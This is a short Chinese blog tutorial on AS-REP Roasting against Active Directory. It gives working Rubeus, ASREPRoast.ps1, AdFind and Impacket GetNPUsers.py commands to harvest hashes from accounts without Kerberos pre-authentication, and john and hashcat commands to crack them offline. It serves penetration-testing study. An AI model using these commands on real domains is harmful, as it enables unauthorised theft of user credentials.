攻击方式 - AS-REP Roasting
定义:AS-REPRoasting是一种针对启用”不要要求Kerberos预认证”选项的域用户的离线密码攻击
攻击条件:
- Kerberos预身份认证关闭
- 不需要域管理员权限,普通域用户甚至匿名即可枚举
- 已知目标账户的用户名
- 攻击者网络可达域控(KDC),能与 88 端口通信
实战场景:
在域环境里,拿到普通访问权限后,找”不需要预认证”的账号,请求票据并离线爆破密码。
AS-REP Roasting 攻击的目标是「用户账户」,不是「机器」
攻击过程:
获取hash
(获取AS-REP响应包中用户hash加密的Login Session Key)
工具1:Rubeus
1 | Rubeus.exe asreproast /format:john /outfile:hash.txt //域内机器版(已加域,当前用户有权限) |
将提取到的hash保存为hash.txt
工具2:ASREPRoast.ps1脚本 (域内PowerShell)
1 | Import-Module .\ASREPRoast.ps1 |
Adfind+GetNPUsers.py—拿到的是非域内机器
前提:有一个有效的域账户和密码
用Adfind查询域内查询Kerberos预身份认证关闭的用户
1 | adfind -h 域控IP -u 域名\用户名 -up 密码 -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" samaccountname |
上一步过滤出来的域账户写入user.txt文件(或者直接用用户名本爆破)
查到这些用户名后,用 Impacket 的 GetNPUsers.py 直接拿 Hash (在kali)
1 | python GetNPUsers.py 域名/ -usersfile users.txt -format hashcat -outputfile hash.txt |
或者单用户名
1 | python GetNPUsers.py 域名/用户名:密码 -request -format john -outputfile hash.txt |
爆破hash
默认导出都是hashcat格式,除非手动改 / 加 /format:john
john爆破:
1 | # 最常用:rockyou 字典爆破 |
hashcat爆破:
1 | hashcat -m 18200 hash.txt rockyou.txt |
AS-REP Roasting 的 hash,hashcat 用
-m 18200,Kerberoasting 的用-m 13100,别搞混了
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Echoin 的博客!